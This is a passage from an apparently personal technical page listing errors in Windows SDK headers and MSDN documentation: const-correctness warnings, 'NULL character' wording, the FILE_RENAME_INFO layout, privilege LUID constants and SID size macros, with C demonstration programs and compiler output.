  [in] PSECURITY_DESCRIPTOR pSID
);
OUCH: except for the properly declared prototypes of the Win32 functions CompareFileTime(), RegisterClass() and RegisterClassEx() shown above, they all fail to specify their read-only input parameters as const or const *, due to which the Visual C compiler throws the superfluous warning C4090 for arguments of type pointer to constant!

Demonstration

Perform the following 3 simple steps to demonstrate this blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    #include <shellapi.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    #define SE_CHANGE_NOTIFY_PRIVILEGE	23UL	// "SeChangeNotifyPrivilege"
    
    const	TOKEN_PRIVILEGES	tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
    
    const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID},
    		owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
    	// (A;NP;FA;;;AU)
              {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               FILE_ALL_ACCESS,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
      sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;NP;NRNWNX;;;ME)
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
    				      &owner,
    				      &group,
    				      &sacl,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    const	SECURITY_INFORMATION	si = DACL_SECURITY_INFORMATION
    				   | GROUP_SECURITY_INFORMATION
    				   | LABEL_SECURITY_INFORMATION
    				   | OWNER_SECURITY_INFORMATION
    				   | SACL_SECURITY_INFORMATION;
    
    const	STARTUPINFO		st = {sizeof(st)};
    
    const	WNDCLASS		wc = {0};
    
    const	WNDCLASSEX		wce = {sizeof(wce)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	const	*lpSD;
    	SID			const	*lpSID;
    
    	PROCESS_INFORMATION	pi;
    
    	FILETIME	ft = {0UL, 0UL};
    
    	INT	nArguments;
    	BOOL	b;
    	WCHAR	sz[] = L".";
    	DWORD	dwSD;
    	HANDLE	h;
    	LPCWSTR	lpBlock;
    	LPCWSTR	lpStrings = GetEnvironmentStrings();
    	LPCWSTR	lpCmdLine = GetCommandLine();
    	LPCWSTR	*lpArguments = CommandLineToArgvW(lpCmdLine, &nArguments);
    
    	if (lpArguments != NULL)
    		LocalFree(lpArguments);
    
    	if (lpStrings != NULL)
    		FreeEnvironmentStrings(lpStrings);
    
    	AdjustTokenPrivileges(INVALID_HANDLE_VALUE,
    	                      FALSE,
    	                      &tp,
    	                      sizeof(tp),
    	                      (TOKEN_PRIVILEGES *) NULL,
    	                      (LPDWORD) NULL);
    
    	CheckTokenMembership(NULL,
    	                     &owner,
    	                     &b);
    
    	CompareFileTime(&ft, &ft);	// no warning C4090 here!
    
    	if (ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    	                                                        SDDL_REVISION_1,
    	                                                        si,
    	                                                        &lpStrings,
    	                                                        (LPDWORD) NULL))
    		LocalFree(lpStrings);
    
    	if (ConvertSidToStringSid(&owner,
    	                          &lpStrings))
    		LocalFree(lpStrings);
    
    	if (ConvertStringSidToSid(sz,	// no warning C4090 here!
    	                          &lpSID))
    		LocalFree(lpSID);
    
    	if (ConvertStringSecurityDescriptorToSecurityDescriptor(sz,
    	                                                        SDDL_REVISION_1,
    	                                                        &lpSD,
    	                                                        &dwSD))
    		LocalFree(lpSD);
    
    	if (CreateDirectory(sz,		// no warning C4090 here!
    	                    &sa))
    		RemoveDirectory(sz);
    
    	if (CreateEnvironmentBlock(&lpBlock,
    	                           (HANDLE) NULL,
    	                           FALSE))
    		DestroyEnvironmentBlock(lpBlock);
    
    	h = CreateFile(sz,		// no warning C4090 here!
    	               MAXIMUM_ALLOWED,
    	               FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
    	               &sa,
    	               OPEN_EXISTING,
    	               FILE_FLAG_BACKUP_SEMANTICS,
    	               (HANDLE) NULL);
    
    	if (h != INVALID_HANDLE_VALUE)
    		CloseHandle(h);
    
    	CreateProcess((LPCWSTR) NULL,
    	              (LPWSTR) NULL,
    	              &sa,
    	              &sa,
    	              FALSE,
    	              CREATE_UNICODE_ENVIRONMENT,
    	              lpStrings,
    	              sz,		// no warning C4090 here!
    	              &st,
    	              &pi);
    
    	GetUserObjectSecurity(INVALID_HANDLE_VALUE,
    	                      &si,
    	                      (SECURITY_DESCRIPTOR *) NULL,
    	                      0,
    	                      &dwSD);
    
    	IsValidAcl(&dacl);
    	IsValidAcl(&sacl);
    	IsValidSecurityDescriptor(&sd);
    	IsValidSid(&owner);
    	IsValidSid(&group);
    
    	if (RegisterClass(&wc) != 0U)	// no warning C4090 here!
    		UnregisterClass(wc.lpszClassName,
    		                wc.hInstance);
    
    	if (RegisterClassEx(&wce) != 0U)// no warning C4090 here!
    		UnregisterClass(wce.lpszClassName,
    		                wce.hInstance);
    
    	SetSecurityInfo(INVALID_HANDLE_VALUE,
    	                SE_FILE_OBJECT,
    	                si,
    	                &owner,
    	                &group,
    	                &dacl,
    	                &sacl);
    
    	SetUserObjectSecurity(INVALID_HANDLE_VALUE,
    	                      &si,
    	                      &sd);
    
    	ExitProcess(nArguments);
    }
    Note: in order to exercise defensive programming, all pointers are intentionally defined as const * – their targets are not (to be) written here!
  2. Run a syntax check on the source file blunder.c created in step 1.:

    CL.EXE /Zs blunder.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(46) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(48) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(50) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(85) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(88) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(92) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(98) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(103) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(108) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(110) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(111) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(112) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(115) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(116) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(120) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(122) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(128) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(146) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(147) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(150) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(152) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(156) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(160) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(162) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(163) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(164) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(178) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(179) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(180) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(183) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(184) : warning C4090: 'function' : different 'const' qualifiers
    OOPS: Was für Plunder!
  3. Run a syntax check on the source file blunder.c created in step 1. a second time, now as C++ source:

    CL.EXE /TP /Zs blunder.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(45) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(46) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(47) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(48) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(50) : error C2440: 'initializing' : cannot convert from 'const SECURITY_DESCRIPTOR *' to 'LPVOID'
            Conversion loses qualifiers
    blunder.c(82) : error C2440: 'initializing' : cannot convert from 'LPWSTR *' to 'LPCWSTR *'
            Conversion loses qualifiers
    blunder.c(88) : error C2664: 'FreeEnvironmentStringsW' : cannot convert parameter 1 from 'LPCWSTR' to 'LPWCH'
            Conversion loses qualifiers
    blunder.c(95) : error C2664: 'AdjustTokenPrivileges' : cannot convert parameter 3 from 'const TOKEN_PRIVILEGES *' to 'PTOKEN_PRIVILEGES'
            Conversion loses qualifiers
    blunder.c(99) : error C2664: 'CheckTokenMembership' : cannot convert parameter 2 from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(107) : error C2664: 'ConvertSecurityDescriptorToStringSecurityDescriptorW' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
            Conversion loses qualifiers
    blunder.c(108) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
            Conversion loses qualifiers
    blunder.c(111) : error C2664: 'ConvertSidToStringSidW' : cannot convert parameter 1 from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(112) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'LPCWSTR' to 'HLOCAL'
            Conversion loses qualifiers
    blunder.c(115) : error C2664: 'ConvertStringSidToSidW' : cannot convert parameter 2 from 'const SID **' to 'PSID *'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(116) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SID *' to 'HLOCAL'
            Conversion loses qualifiers
    blunder.c(121) : error C2664: 'ConvertStringSecurityDescriptorToSecurityDescriptorW' : cannot convert parameter 3 from 'const SECURITY_DESCRIPTOR **' to 'PSECURITY_DESCRIPTOR *'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(122) : error C2664: 'LocalFree' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'HLOCAL'
            Conversion loses qualifiers
    blunder.c(125) : error C2664: 'CreateDirectoryW' : cannot convert parameter 2 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
            Conversion loses qualifiers
    blunder.c(130) : error C2664: 'CreateEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR *' to 'LPVOID *'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(131) : error C2664: 'DestroyEnvironmentBlock' : cannot convert parameter 1 from 'LPCWSTR' to 'LPVOID'
            Conversion loses qualifiers
    blunder.c(139) : error C2664: 'CreateFileW' : cannot convert parameter 4 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
            Conversion loses qualifiers
    blunder.c(153) : error C2664: 'CreateProcessW' : cannot convert parameter 3 from 'const SECURITY_ATTRIBUTES *' to 'LPSECURITY_ATTRIBUTES'
            Conversion loses qualifiers
    blunder.c(159) : error C2664: 'GetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
            Conversion loses qualifiers
    blunder.c(160) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(161) : error C2664: 'IsValidAcl' : cannot convert parameter 1 from 'const _acl *' to 'PACL'
            Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
    blunder.c(162) : error C2664: 'IsValidSecurityDescriptor' : cannot convert parameter 1 from 'const SECURITY_DESCRIPTOR *' to 'PSECURITY_DESCRIPTOR'
            Conversion loses qualifiers
    blunder.c(163) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(164) : error C2664: 'IsValidSid' : cannot convert parameter 1 from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(180) : error C2664: 'SetSecurityInfo' : cannot convert parameter 4 from 'const SID *' to 'PSID'
            Conversion loses qualifiers
    blunder.c(184) : error C2664: 'SetUserObjectSecurity' : cannot convert parameter 2 from 'const SECURITY_INFORMATION *' to 'PSECURITY_INFORMATION'
            Conversion loses qualifiers
    OUCH: Was für Plunder!

Blunder № 56

The documentation for the Win32 functions CertRDNValueToStr() and GetVolumePathNamesForVolumeNameW() (just to pick some examples) as well as the window message LVM_GETISEARCHSTRING (just to pick another example) exhibit an unfortunately very common mistake blunder, present in many other MSDN articles like String manipulation (CRT) too:
Size, in characters, allocated for the returned string. The size must include the terminating NULL character.

[…]

Returns the number of characters converted, including the terminating NULL character. If psz is NULL or csz is zero, returns the required size of the destination string.

The list is a array of null-terminated strings terminated by an additional NULL character. […]

[…] including all NULL characters.

Returns the number of characters in the incremental search string, not including the terminating NULL character, or zero if the list-view control is not in incremental search mode.

[…]

Make sure that the buffer is large enough to hold the string and the terminating NULL character.

These routines operate on null-terminated single-byte character, wide-character, and multibyte-character strings. Use the buffer-manipulation routines, described in Buffer manipulation, to work with character arrays that don't end with a NULL character.
OUCH: there is no NULL characterNULL is a preprocessor macro defined as ((void *) 0) – and the highlighted text parts of the documentation should be replaced with null character, NUL, '\0' or L'\0'!

Blunder № 57

The header file winbase.h shipped with the Platform Windows Software Development Kits defines the FILE_RENAME_INFO structure for the Win32 function SetFileInformationByHandle() as follows:
typedef struct _FILE_RENAME_INFO {
    BOOLEAN ReplaceIfExists;
    HANDLE RootDirectory;
    DWORD FileNameLength;
    WCHAR FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;
The documentation for the FILE_RENAME_INFO structure but specifies halluzinates it different:
typedef struct _FILE_RENAME_INFO {
  union {
    BOOLEAN ReplaceIfExists;
    DWORD   Flags;
  } DUMMYUNIONNAME;
  BOOLEAN ReplaceIfExists;
  HANDLE  RootDirectory;
  DWORD   FileNameLength;
  WCHAR   FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

Blunder № 58

The MSDN article Privileges states:
The Windows API defines a set of string constants, such as SE_ASSIGNPRIMARYTOKEN_NAME, to identify the various privileges. These constants are the same on all systems and are defined in Winnt.h. For a table of the privileges defined by Windows, see Privilege Constants. However, the functions that get and adjust the privileges in an access token use the LUID type to identify privileges. The LUID values for a privilege can differ from one computer to another, and from one boot to another on the same computer.
The header file wdm.h shipped with the Driver Development Kit and the Windows Driver Kit defines but the following numerical constants:
//
// These must be converted to LUIDs before use.
//

#define SE_MIN_WELL_KNOWN_PRIVILEGE                    (2L)
#define SE_CREATE_TOKEN_PRIVILEGE                      (2L)
#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE                (3L)
#define SE_LOCK_MEMORY_PRIVILEGE                       (4L)
#define SE_INCREASE_QUOTA_PRIVILEGE                    (5L)
#define SE_MACHINE_ACCOUNT_PRIVILEGE                   (6L)
#define SE_TCB_PRIVILEGE                               (7L)
#define SE_SECURITY_PRIVILEGE                          (8L)
#define SE_TAKE_OWNERSHIP_PRIVILEGE                    (9L)
#define SE_LOAD_DRIVER_PRIVILEGE                       (10L)
#define SE_SYSTEM_PROFILE_PRIVILEGE                    (11L)
#define SE_SYSTEMTIME_PRIVILEGE                        (12L)
#define SE_PROF_SINGLE_PROCESS_PRIVILEGE               (13L)
#define SE_INC_BASE_PRIORITY_PRIVILEGE                 (14L)
#define SE_CREATE_PAGEFILE_PRIVILEGE                   (15L)
#define SE_CREATE_PERMANENT_PRIVILEGE                  (16L)
#define SE_BACKUP_PRIVILEGE                            (17L)
#define SE_RESTORE_PRIVILEGE                           (18L)
#define SE_SHUTDOWN_PRIVILEGE                          (19L)
#define SE_DEBUG_PRIVILEGE                             (20L)
#define SE_AUDIT_PRIVILEGE                             (21L)
#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE                (22L)
#define SE_CHANGE_NOTIFY_PRIVILEGE                     (23L)
#define SE_REMOTE_SHUTDOWN_PRIVILEGE                   (24L)
#define SE_UNDOCK_PRIVILEGE                            (25L)
#define SE_SYNC_AGENT_PRIVILEGE                        (26L)
#define SE_ENABLE_DELEGATION_PRIVILEGE                 (27L)
#define SE_MANAGE_VOLUME_PRIVILEGE                     (28L)
#define SE_IMPERSONATE_PRIVILEGE                       (29L)
#define SE_CREATE_GLOBAL_PRIVILEGE                     (30L)
#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE            (31L)
#define SE_RELABEL_PRIVILEGE                           (32L)
#define SE_INC_WORKING_SET_PRIVILEGE                   (33L)
#define SE_TIME_ZONE_PRIVILEGE                         (34L)
#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE              (35L)
#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L)
#define SE_MAX_WELL_KNOWN_PRIVILEGE                    (SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE)
OUCH: contrary to the highlighted statement of the documentation cited above, these constants neither change from boot to boot nor differ from computer to computer!

OOPS¹: the numerical constants are unsigned – they should be defined as ‹number›UL, matching the type of the LowPart member of the LUID structure!

OOPS²: the parentheses around the numerical constants are superfluous!

Falsification

Perform the following 3 simple steps to prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	LPCWSTR	szName[] = {NULL,
    		            NULL,
    		            SE_CREATE_TOKEN_NAME,			// 2
    		            SE_ASSIGNPRIMARYTOKEN_NAME,			// 3
    		            SE_LOCK_MEMORY_NAME,			// 4
    		            SE_INCREASE_QUOTA_NAME,			// 5
    		            SE_MACHINE_ACCOUNT_NAME,			// 6
    		            SE_TCB_NAME,				// 7
    		            SE_SECURITY_NAME,				// 8
    		            SE_TAKE_OWNERSHIP_NAME,			// 9
    		            SE_LOAD_DRIVER_NAME,			// 10
    		            SE_SYSTEM_PROFILE_NAME,			// 11
    		            SE_SYSTEMTIME_NAME,				// 12
    		            SE_PROF_SINGLE_PROCESS_NAME,		// 13
    		            SE_INC_BASE_PRIORITY_NAME,			// 14
    		            SE_CREATE_PAGEFILE_NAME,			// 15
    		            SE_CREATE_PERMANENT_NAME,			// 16
    		            SE_BACKUP_NAME,				// 17
    		            SE_RESTORE_NAME,				// 18
    		            SE_SHUTDOWN_NAME,				// 19
    		            SE_DEBUG_NAME,				// 20
    		            SE_AUDIT_NAME,				// 21
    		            SE_SYSTEM_ENVIRONMENT_NAME,			// 22
    		            SE_CHANGE_NOTIFY_NAME,			// 23
    		            SE_REMOTE_SHUTDOWN_NAME,			// 24
    		            SE_UNDOCK_NAME,				// 25
    		            SE_SYNC_AGENT_NAME,				// 26
    		            SE_ENABLE_DELEGATION_NAME,			// 27
    		            SE_MANAGE_VOLUME_NAME,			// 28
    		            SE_IMPERSONATE_NAME,			// 29
    		            SE_CREATE_GLOBAL_NAME,			// 30
    		            SE_TRUSTED_CREDMAN_ACCESS_NAME,		// 31
    		            SE_RELABEL_NAME,				// 32
    		            SE_INC_WORKING_SET_NAME,			// 33
    		            SE_TIME_ZONE_NAME,				// 34
    		            SE_CREATE_SYMBOLIC_LINK_NAME,		// 35
    		            SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME};	// 36
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	LUID	luid;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwName = 2UL;
    
    	do
    		if (!LookupPrivilegeValue((LPCWSTR) NULL, szName[dwName], &luid))
    			dwError = GetLastError();
    		else
    			if ((luid.LowPart != dwName) || (luid.HighPart != 0L))
    				break;
    	while (++dwName < sizeof(szName) / sizeof(*szName));
    
    	ExitProcess(dwName == sizeof(szName) / sizeof(*szName) ? dwError : ~0UL);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 59

The header file winnt.h shipped with the Platform Windows Software Development Kits defines the SID alias Security Identifier as follows:
#define ANYSIZE_ARRAY 1

[…]

////////////////////////////////////////////////////////////////////////
//                                                                    //
//              Security Id     (SID)                                 //
//                                                                    //
////////////////////////////////////////////////////////////////////////
//
//
// Pictorially the structure of an SID is as follows:
//
//         1   1   1   1   1   1
//         5   4   3   2   1   0   9   8   7   6   5   4   3   2   1   0
//      +---------------------------------------------------------------+
//      |      SubAuthorityCount        |Reserved1 (SBZ)|   Revision    |
//      +---------------------------------------------------------------+
//      |                   IdentifierAuthority[0]                      |
//      +---------------------------------------------------------------+
//      |                   IdentifierAuthority[1]                      |
//      +---------------------------------------------------------------+
//      |                   IdentifierAuthority[2]                      |
//      +---------------------------------------------------------------+
//      |                                                               |
//      +- -  -  -  -  -  -  -  SubAuthority[]  -  -  -  -  -  -  -  - -+
//      |                                                               |
//      +---------------------------------------------------------------+
//
//

#ifndef SID_IDENTIFIER_AUTHORITY_DEFINED
#define SID_IDENTIFIER_AUTHORITY_DEFINED
typedef struct _SID_IDENTIFIER_AUTHORITY {
    BYTE  Value[6];
} SID_IDENTIFIER_AUTHORITY, *PSID_IDENTIFIER_AUTHORITY;
#endif

#ifndef SID_DEFINED
#define SID_DEFINED
typedef struct _SID {
   BYTE  Revision;
   BYTE  SubAuthorityCount;
   SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
   DWORD SubAuthority[ANYSIZE_ARRAY];
} SID, *PISID;
#endif

#define SID_REVISION                     (1)    // Current revision level
#define SID_MAX_SUB_AUTHORITIES          (15)
#define SID_RECOMMENDED_SUB_AUTHORITIES  (1)    // Will change to around 6
                                                // in a future release.
#define SECURITY_MAX_SID_SIZE  \
      (sizeof(SID) - sizeof(DWORD) + (SID_MAX_SUB_AUTHORITIES * sizeof(DWORD)))

// 2 (S-)
// 4 (Rev(max: 255)-)
// 15 (
//      If (Auth < 2^32): Auth(max:4294967295)-
//      Else:             0xAuth(max:FFFFFFFFFFFF)-
//    )
// (11 * SID_MAX_SUB_AUTHORITIES) (SubN(max:4294967295)-)
// 1 (NULL character)
// = 187 (assuming SID_MAX_SUB_AUTHORITIES = 15)
#define SECURITY_MAX_SID_STRING_CHARACTERS \
    (2 + 4 + 15 + (11 * SID_MAX_SUB_AUTHORITIES) + 1)

[…]

/////////////////////////////////////////////////////////////////////////////
//                                                                         //
// Universal well-known SIDs                                               //
//                                                                         //
//     Null SID                     S-1-0-0                                //
//     World                        S-1-1-0                                //
//     Local                        S-1-2-0                                //
//     Creator Owner ID             S-1-3-0                                //
//     Creator Group ID             S-1-3-1                                //
//     Creator Owner Server ID      S-1-3-2                                //
//     Creator Group Server ID      S-1-3-3                                //
//                                                                         //
//     (Non-unique IDs)             S-1-4                                  //
//                                                                         //
/////////////////////////////////////////////////////////////////////////////

#define SECURITY_NULL_SID_AUTHORITY         {0,0,0,0,0,0}
#define SECURITY_WORLD_SID_AUTHORITY        {0,0,0,0,0,1}
#define SECURITY_LOCAL_SID_AUTHORITY        {0,0,0,0,0,2}
#define SECURITY_CREATOR_SID_AUTHORITY      {0,0,0,0,0,3}
#define SECURITY_NON_UNIQUE_AUTHORITY       {0,0,0,0,0,4}
#define SECURITY_RESOURCE_MANAGER_AUTHORITY {0,0,0,0,0,9}

[…]

///////////////////////////////////////////////////////////////////////////////
//                                                                           //
// NT well-known SIDs                                                        //
//                                                                           //
//     NT Authority            S-1-5                                         //
//     Dialup                  S-1-5-1                                       //
//                                                                           //
//     Network                 S-1-5-2                                       //
//     Batch                   S-1-5-3                                       //
//     Interactive             S-1-5-4                                       //
//     (Logon IDs)             S-1-5-5-X-Y                                   //
//     Service                 S-1-5-6                                       //
//     AnonymousLogon          S-1-5-7       (aka null logon session)        //
//     Proxy                   S-1-5-8                                       //
//     Enterprise DC (EDC)     S-1-5-9       (aka domain controller account) //
//     Self                    S-1-5-10      (self RID)                      //
//     Authenticated User      S-1-5-11      (Authenticated user somewhere)  //
//     Restricted Code         S-1-5-12      (Running restricted code)       //
//     Terminal Server         S-1-5-13      (Running on Terminal Server)    //
//     Remote Logon            S-1-5-14      (Remote Interactive Logon)      //
//     This Organization       S-1-5-15                                      //
//                                                                           //
//     IUser                   S-1-5-17                                      //
//     Local System            S-1-5-18                                      //
//     Local Service           S-1-5-19                                      //
//     Network Service         S-1-5-20                                      //
//                                                                           //
//     (NT non-unique IDs)     S-1-5-0x15-... (NT Domain Sids)               //
//                                                                           //
//     (Built-in domain)       S-1-5-0x20                                    //
//                                                                           //
//     (Security Package IDs)  S-1-5-0x40                                    //
//     NTLM Authentication     S-1-5-0x40-10                                 //
//     SChannel Authentication S-1-5-0x40-14                                 //
//     Digest Authentication   S-1-5-0x40-21                                 //
//                                                                           //
//     Other Organization      S-1-5-1000    (>=1000 can not be filtered)    //
//                                                                           //
//                                                                           //
// NOTE: the relative identifier values (RIDs) determine which security      //
//       boundaries the SID is allowed to cross.  Before adding new RIDs,    //
//       a determination needs to be made regarding which range they should  //
//       be added to in order to ensure proper "SID filtering"               //
//                                                                           //
///////////////////////////////////////////////////////////////////////////////


#define SECURITY_NT_AUTHORITY               {0,0,0,0,0,5}   // ntifs

[…]

#define SECURITY_APP_PACKAGE_AUTHORITY      {0,0,0,0,0,15}

[…]

#define SECURITY_MANDATORY_LABEL_AUTHORITY  {0,0,0,0,0,16}

[…]

#define SECURITY_SCOPED_POLICY_ID_AUTHORITY {0,0,0,0,0,17}

[…]

#define SECURITY_AUTHENTICATION_AUTHORITY   {0,0,0,0,0,18}

[…]

#define SECURITY_PROCESS_TRUST_AUTHORITY    {0,0,0,0,0,19}
Oops¹: the definition of the SID_IDENTIFIER_AUTHORITY structure fails to match the ASCII art – according to the latter it should be WORD Value[3] instead of BYTE Value[6]!

Oops²: the value of the preprocessor macro SECURITY_MAX_SID_SIZE fails to match the definition of the SID structure – according to the latter it should be (sizeof(SID) + sizeof(DWORD) * (SID_MAX_SUB_AUTHORITIES - ANYSIZE_ARRAY))!

